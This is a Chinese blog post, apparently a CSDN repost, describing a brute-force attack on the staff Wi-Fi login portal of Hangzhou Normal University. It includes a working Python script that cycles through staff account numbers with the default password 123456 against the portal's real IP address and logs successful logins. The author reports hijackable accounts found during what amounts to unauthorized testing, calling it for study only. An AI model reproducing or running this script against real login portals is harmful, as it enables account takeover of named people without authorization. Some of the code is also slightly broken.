杭师大校园网教职工wifi (hznu-teacher 校园网账号) 安全性测试 (账号爆破),学校需要加强网络安全建设啊,恩恩~仅供学习使用

寝室晚上11点断网,原来给学生的hznu 无线学校和电信公司没谈拢。。晚上只能开热点。。这样的话,hznu-teacher 的校园无线网的安全性就岌岌可危

那就来进行一个安全性测试吧

笔记本连hznu-teacher 无线,会跳出一个页面 如下:要求输入账号密码的

在检查页面:按F12   填好账号密码后点击登录:

会有一项项的 http header  还有 http body 里的 form-data 里的数据,可以看到是发送的明文

账号xxxx 密码 123456 等等其他, 可以发现提示 账号密码错误了

到这里,来梳理下我对这个安全漏洞的检查思路:

首先  是没有验证码,光是这个漏洞就是致命的,因为识别验证码的图灵测试代码的编写就可以劝退99% 的攻击者了

其次,密码这些是明文发送的,肯定会有风险,又抓包工具的估计就可以抓到里面的信息了

然后,这个账号密码 可以看出 使用一个post 方式发出去的,并返回内容。

我们可以根据返回的内容  来判断账号密码正不正确。

除了返回提示  ”账号密码错误“ 外

其实如果你填的 账号不存在 还可以发现 提示 “没有这个账号” 等 

其实,之前我一步一步用jupyter notebook 测试过得,在 requests.post  发送请求得到

输出页面信息 如下:

那个账号不存在也是一样的,那么再加上局域网的验证飞快,我又知道教职工账号的前几位,这就降低了遍历的次数,

好了,放代码吧:python3.6

# -*- coding: utf-8 -*-
"""
Spyder Editor

This is a temporary script file.
"""

import requests
import os
s = requests.session()
#print(s.headers)
headers = {
 
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36',
 
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
 
    'Host': '172.31.1.5',
    'Referer': 'http://172.31.1.5/srun_portal_pc.php?wlanuserip=172.18.69.34&wlanacname=&wlanuserfirsturl=http://www.hao123.com/&ac_id=6',
    'X-Requested-With':'XMLHttpRequest'
 
}
login_url='http://172.31.1.5/srun_portal_pc.php?wlanuserip=172.18.69.34&wlanacname=&wlanuserfirsturl=http://www.hao123.com/&ac_id=6'
data = {'action':'login',
'username':'20021064',
'password':'123456',
'ac_id':'6',
'user_id':'6',
'user_ip':'172.18.69.34',
'nas_ip':'',
'user_mac':'',
'save_me':'1',
'ajac':'1'}

#create a new file to store account
dest = "/home/xxxx/Desktop/blowup.txt"
if os.path.exists(dest) is None:
    os.mkdirs(dest)
f = open(dest,'w')
f.close() #without this segment,the file won't be created
with open(dest,'a') as fw:
    fw.write("acount which password is 123456:\n")
    for i in range(xxx,xxx): #这里填遍历的 账号范围
        data['username']='2002'+str(i)
        response = s.post(login_url,data=data,headers=headers)
        result = response.text
        print('account:'+str(i)+":")
        error_msg = "用户名或密码错误,请重试。"
        user_not_exist = "用户不存在"
        if error_msg in response.text:
            print(error_msg)
        elif  user_not_exist in response.text:
            print(user_not_exist)
        else:
            print("acount: 2002"+str(i))
            fw.write("acount: 2002"+str(i)+"\n")

        

 为了不让别有用心的人滥用这个代码,我把遍历的范围 变成xxx 了,懂得人自然可以填数字进去,密码前缀是2002

好了,结果如下

 这个。。我其实就测试了几百组,就有10几个懒人没有改初始密码,太不应该了,

最后,这个安全漏洞的发现和分享,只是为了传播知识,我们还是不要占用教职工无线网资源,恩恩

猜你喜欢

转载自blog.csdn.net/qq_38190111/article/details/90212580